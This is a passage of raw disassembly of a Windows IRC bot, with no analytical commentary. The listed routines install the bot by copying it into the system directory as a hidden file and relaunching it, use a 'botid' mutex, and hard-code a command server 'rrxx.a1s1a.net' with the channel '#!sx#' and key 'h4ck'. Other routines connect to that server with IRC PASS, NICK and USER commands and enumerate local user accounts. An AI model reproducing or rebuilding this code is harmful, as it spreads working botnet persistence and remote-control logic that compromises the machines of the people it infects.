		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40D670
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E304
; ---------------------------------------------------------------------------


loc_40E2D8:				; CODE XREF: sub_40DF4B+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42E008 ; Format
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_40D670
		add	esp, 20h


loc_40E304:				; CODE XREF: sub_40DF4B+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40E313
		push	[ebp+var_4]
		call	ds:dword_43C6A8


loc_40E313:				; CODE XREF: sub_40DF4B+40j
					; sub_40DF4B+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E319(int,char *Str,int,int)

sub_40E319	proc near		; CODE XREF: sub_40EE51+221Fp

Dest		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC80
		push	esi		; int
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]	; int
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 18h


loc_40E358:				; CODE XREF: sub_40E319+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_43C580
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3B9
		cmp	eax, 0EAh
		jz	short loc_40E3B9
		push	eax
		push	eax
		call	sub_40E499
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42E218 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 24h
		jmp	short loc_40E434
; ---------------------------------------------------------------------------


loc_40E3B9:				; CODE XREF: sub_40E319+62j
					; sub_40E319+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E447
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E434


loc_40E3CB:				; CODE XREF: sub_40E319+EDj
		cmp	edi, esi
		jz	short loc_40E40A
		push	dword ptr [edi]
		lea	eax, [ebp+Dest]
		push	offset aS_2	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3CB
		jmp	short loc_40E434
; ---------------------------------------------------------------------------


loc_40E40A:				; CODE XREF: sub_40E319+B4j
		lea	eax, [ebp+Dest]
		push	offset dword_42E1D4 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 1Ch


loc_40E434:				; CODE XREF: sub_40E319+9Ej
					; sub_40E319+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E447
		push	edi
		call	ds:dword_43C6A8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E447:				; CODE XREF: sub_40E319+A5j
					; sub_40E319+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E358
		cmp	edi, esi
		jz	short loc_40E45F
		push	edi
		call	ds:dword_43C6A8


loc_40E45F:				; CODE XREF: sub_40E319+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E319	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E499	proc near		; CODE XREF: sub_40DAEF+41p
					; sub_40DCE4+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E54B
		jz	loc_40E544
		cmp	eax, 7Bh
		ja	short loc_40E510
		jz	short loc_40E506
		cmp	eax, 5
		jz	short loc_40E4FC
		cmp	eax, 8
		jz	short loc_40E4F2
		cmp	eax, 32h
		jz	short loc_40E4E8
		cmp	eax, 35h
		jz	short loc_40E4DE
		cmp	eax, 57h
		jnz	loc_40E59A
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E4DE:				; CODE XREF: sub_40E499+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E4E8:				; CODE XREF: sub_40E499+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E4F2:				; CODE XREF: sub_40E499+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E499+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E499+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E499+1Aj
		sub	eax, 7Ch
		jz	short loc_40E53D
		sub	eax, 7C8h
		jz	short loc_40E536
		dec	eax
		jz	short loc_40E52C
		dec	eax
		jnz	short loc_40E59A
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E52C:				; CODE XREF: sub_40E499+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E536:				; CODE XREF: sub_40E499+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E53D:				; CODE XREF: sub_40E499+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E544:				; CODE XREF: sub_40E499+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E54B:				; CODE XREF: sub_40E499+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E584
		jz	short loc_40E57D
		sub	eax, 8ADh
		jz	short loc_40E5AF
		dec	eax
		dec	eax
		jz	short loc_40E576
		dec	eax
		jz	short loc_40E56F
		dec	eax
		dec	eax
		jnz	short loc_40E59A
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E56F:				; CODE XREF: sub_40E499+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E576:				; CODE XREF: sub_40E499+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E57D:				; CODE XREF: sub_40E499+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E584:				; CODE XREF: sub_40E499+B9j
		sub	eax, 8CAh
		jz	short loc_40E5B6
		sub	eax, 17h
		jz	short loc_40E5AF
		sub	eax, 25h
		jz	short loc_40E5A8
		sub	eax, 29h
		jz	short loc_40E5A1


loc_40E59A:				; CODE XREF: sub_40E499+35j
					; sub_40E499+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E5A1:				; CODE XREF: sub_40E499+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E5A8:				; CODE XREF: sub_40E499+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E5AF:				; CODE XREF: sub_40E499+C2j
					; sub_40E499+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5BB
; ---------------------------------------------------------------------------


loc_40E5B6:				; CODE XREF: sub_40E499+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5BB:				; CODE XREF: sub_40E499+40j
					; sub_40E499+4Aj ...
		push	offset byte_440C88 ; Dest
		call	_sprintf
		pop	ecx
		mov	eax, offset byte_440C88
		pop	ecx
		retn
sub_40E499	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E5CD(char *Source)

sub_40E5CD	proc near		; CODE XREF: sub_40EE51+225Ep

Dest		= word ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+Source], esi
		call	ds:dword_423154	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi		; MaxCount
		push	eax		; Source
		lea	eax, [ebp+var_318]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_43C628
		test	eax, eax
		jnz	short loc_40E65D
		mov	esi, offset byte_440A84
		push	offset dword_42E568 ; Format
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40E686
; ---------------------------------------------------------------------------


loc_40E65D:				; CODE XREF: sub_40E5CD+7Aj
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E499
		pop	ecx
		mov	esi, offset byte_440A84
		push	eax
		push	offset dword_42E530 ; Format
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h


loc_40E686:				; CODE XREF: sub_40E5CD+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E68B	proc near		; CODE XREF: _WinMainCRTStartup+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
Filename	= byte ptr -6F4h
Str		= byte ptr -5F4h
Ext		= byte ptr -4F0h
SubStr		= byte ptr -3F0h
FullPath	= byte ptr -2ECh
Dest		= byte ptr -1E8h
Source		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
Dst		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40D39C
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_423054
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_486C00, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		call	sub_40981A
		push	2
		call	ds:dword_43C6C4	; SetErrorMode
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	ds:dword_423164	; CreateMutexA
		push	eax
		call	ds:dword_423084	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E708
		push	1
		call	ds:dword_42314C


loc_40E708:				; CODE XREF: sub_40E68B+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	ds:dword_43C590	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40EB68
		cmp	[ebp+var_884], 2
		jnz	loc_40EB62
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40EB62
		mov	esi, 104h
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		call	ds:dword_423064	; GetSystemDirectoryA
		lea	eax, [ebp+FullPath]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4230FC
		push	eax
		call	ds:dword_423090	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+FullPath]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+FullPath]
		push	eax		; Str
		call	_strstr
		add	esp, 30h
		test	eax, eax
		jnz	loc_40E96B
		cmp	ds:dword_486D70, ebx
		mov	esi, offset byte_42E664
		jz	short loc_40E803
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_40E803


loc_40E7E0:				; CODE XREF: sub_40E68B+176j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	ds:byte_42E664[edi], dl
		inc	edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E7E0


loc_40E803:				; CODE XREF: sub_40E68B+145j
					; sub_40E68B+153j
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_3	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_4230A4	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E843
		lea	eax, [ebp+Dest]
		push	80h
		push	eax
		call	ds:dword_423128	; SetFileAttributesA


loc_40E843:				; CODE XREF: sub_40E68B+1A4j
		mov	esi, ds:dword_423160
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		xor	edi, edi
		push	eax


loc_40E85A:				; CODE XREF: sub_40E68B+206j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40E893
		call	ds:dword_423088	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40E893
		cmp	eax, 20h
		jz	short loc_40E874
		cmp	eax, 5
		jnz	short loc_40E893


loc_40E874:				; CODE XREF: sub_40E68B+1E2j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_423060	; Sleep
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E893:				; CODE XREF: sub_40E68B+1D3j
					; sub_40E68B+1DDj ...
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40AB77
		pop	ecx
		lea	eax, [ebp+Dest]
		push	7
		push	eax
		call	ds:dword_423128	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_4397BC
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	ds:dword_42315C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_4230F8	; OpenProcess
		lea	ecx, [ebp+FullPath]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_40E96B
		push	0C8h
		call	ds:dword_423060	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_423074
		call	esi
		push	[ebp+var_18]
		call	esi
		call	ds:dword_43C578	; WSACleanup
		push	ebx
		call	ds:dword_42314C


loc_40E96B:				; CODE XREF: sub_40E68B+134j
					; sub_40E68B+2B6j
		cmp	ds:dword_486FE8, 2
		jle	short loc_40E9B7
		mov	eax, ds:dword_486FEC
		push	dword ptr [eax+4] ; Str
		call	_atoi
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_423084	; WaitForSingleObject
		push	esi
		call	ds:dword_423074
		mov	eax, ds:dword_486FEC
		cmp	[eax+8], ebx
		jz	short loc_40E9B7
		push	7D0h
		call	ds:dword_423060	; Sleep
		mov	eax, ds:dword_486FEC
		push	dword ptr [eax+8]
		call	ds:dword_423158	; DeleteFileA


loc_40E9B7:				; CODE XREF: sub_40E68B+2E7j
					; sub_40E68B+311j
		cmp	ds:dword_42E5BC, ebx
		jz	short loc_40E9D4
		cmp	ds:dword_43C6E8, ebx
		jnz	short loc_40E9D4
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_40C1B0
		pop	ecx


loc_40E9D4:				; CODE XREF: sub_40E68B+332j
					; sub_40E68B+33Aj
		lea	eax, [ebp+Source]
		push	offset dword_434104 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_416D48
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		push	0B80h		; Size
		push	ebx		; Val
		push	offset Str1	; Dst
		call	_memset
		call	_rand
		push	7Fh		; Count
		push	offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net"
		push	offset byte_486C0C ; Dest
		mov	ds:dword_486D84, ebx
		call	_strncpy
		mov	eax, ds:dword_42E5A0
		push	3Fh		; Count
		mov	edi, offset byte_486C8C
		push	offset aSx	; "#!sx#"
		push	edi		; Dest
		mov	ds:dword_486D5C, eax
		call	_strncpy
		push	3Fh		; Count
		mov	esi, offset byte_486CCC
		push	offset aH4ck	; "h4ck"
		push	esi		; Dest
		call	_strncpy
		add	esp, 48h
		mov	ds:dword_486D60, ebx


loc_40EA62:				; CODE XREF: sub_40E68B+47Dj
					; sub_40E68B+488j ...
		mov	[ebp+var_4], ebx


loc_40EA65:				; CODE XREF: sub_40E68B+431j
		cmp	ds:dword_43C700, ebx
		jnz	short loc_40EA83
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	ds:dword_43C55C	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40EA83
		push	7530h
		jmp	short loc_40EAAF
; ---------------------------------------------------------------------------


loc_40EA83:				; CODE XREF: sub_40E68B+3E0j
					; sub_40E68B+3EFj
		push	offset dword_486C08
		mov	ds:dword_486D80, ebx
		call	sub_40EB71
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40EB5D
		cmp	ds:dword_486D80, ebx
		jz	short loc_40EAAA
		dec	[ebp+var_4]


loc_40EAAA:				; CODE XREF: sub_40E68B+41Aj
		push	0BB8h


loc_40EAAF:				; CODE XREF: sub_40E68B+3F6j
		call	ds:dword_423060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40EA65
		cmp	[ebp+var_8], 2
		jz	loc_40EB5D
		cmp	[ebp+var_C], ebx
		jz	short loc_40EB0D
		push	7Fh		; Count
		push	offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net"
		push	offset byte_486C0C ; Dest
		call	_strncpy
		mov	eax, ds:dword_42E5A0
		push	3Fh		; Count
		push	offset aSx	; "#!sx#"
		push	edi		; Dest
		mov	ds:dword_486D5C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aH4ck	; "h4ck"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40EA62
; ---------------------------------------------------------------------------


loc_40EB0D:				; CODE XREF: sub_40E68B+440j
		cmp	ds:byte_42E644,	bl
		jz	loc_40EA62
		push	7Fh		; Count
		push	offset byte_42E644 ; Source
		push	offset byte_486C0C ; Dest
		call	_strncpy
		mov	eax, ds:dword_42E5A4
		push	3Fh		; Count
		push	offset aSx_0	; "#!sx#"
		push	edi		; Dest
		mov	ds:dword_486D5C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aH4ck_0	; "h4ck"
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40EA62
; ---------------------------------------------------------------------------


loc_40EB5D:				; CODE XREF: sub_40E68B+40Ej
					; sub_40E68B+437j
		call	sub_416F11


loc_40EB62:				; CODE XREF: sub_40E68B+A1j
					; sub_40E68B+B1j
		call	ds:dword_43C578	; WSACleanup


loc_40EB68:				; CODE XREF: sub_40E68B+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40E68B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB71	proc near		; CODE XREF: sub_40E68B+403p
					; DATA XREF: sub_40EE51+3B1Do

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dest		= byte ptr -2Ch
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40EB96:				; CODE XREF: sub_40EB71+E6j
					; sub_40EB71+136j ...
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+Args]
		push	eax
		call	sub_40ADC5
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECC3
		push	1Ch		; Size
		lea	eax, [ebp+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		lea	eax, [ebp+Dest]
		push	ds:dword_486D74	; int
		push	ds:dword_42E5C8	; int
		push	eax		; Dest
		call	sub_415CF0
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_442088
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_43C698	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_44207C[eax], esi
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC5C
		push	esi
		call	ds:dword_43C6B0	; closesocket
		call	sub_40ADEE
		push	7D0h


loc_40EC51:				; CODE XREF: sub_40EB71+146j
		call	ds:dword_423060	; Sleep
		jmp	loc_40EB96
; ---------------------------------------------------------------------------


loc_40EC5C:				; CODE XREF: sub_40EB71+CDj
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset dword_434138 ; Format
		call	sub_40BFE3
		push	[ebp+var_38]
		lea	eax, [ebp+Args]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECD9
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_43C6B0	; closesocket
		test	edi, edi
		jz	loc_40EB96
		cmp	edi, 1
		jnz	short loc_40ECB9
		push	0DBBA0h
		jmp	short loc_40EC51
; ---------------------------------------------------------------------------


loc_40ECB9:				; CODE XREF: sub_40EB71+13Fj
		cmp	edi, 2
		jz	short loc_40ECC7
		jmp	loc_40EB96
; ---------------------------------------------------------------------------


loc_40ECC3:				; CODE XREF: sub_40EB71+5Aj
		xor	eax, eax
		jmp	short loc_40ECD3
; ---------------------------------------------------------------------------


loc_40ECC7:				; CODE XREF: sub_40EB71+14Bj
		push	[ebp+var_34]
		call	sub_417064
		pop	ecx
		push	2
		pop	eax


loc_40ECD3:				; CODE XREF: sub_40EB71+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECD9	proc near		; CODE XREF: sub_40EB71+123p

Dst		= byte ptr -1A10h
var_A10		= dword	ptr -0A10h
var_240		= dword	ptr -240h
Str1		= byte ptr -1A0h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+Str1]
		pop	ecx


loc_40ECF7:				; CODE XREF: sub_40ECD9+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ECF7
		cmp	ds:byte_486D7C,	bl
		jz	short loc_40ED1E
		push	offset byte_486D7C ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]	; int
		call	sub_40D62A
		add	esp, 0Ch


loc_40ED1E:				; CODE XREF: sub_40ECD9+2Ej
		push	[ebp+Source]
		lea	eax, [ebp+Dest]
		push	ebx		; Str1
		push	ebx		; int
		push	2		; int
		push	eax		; Dest
		call	sub_415CF0
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+Source]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
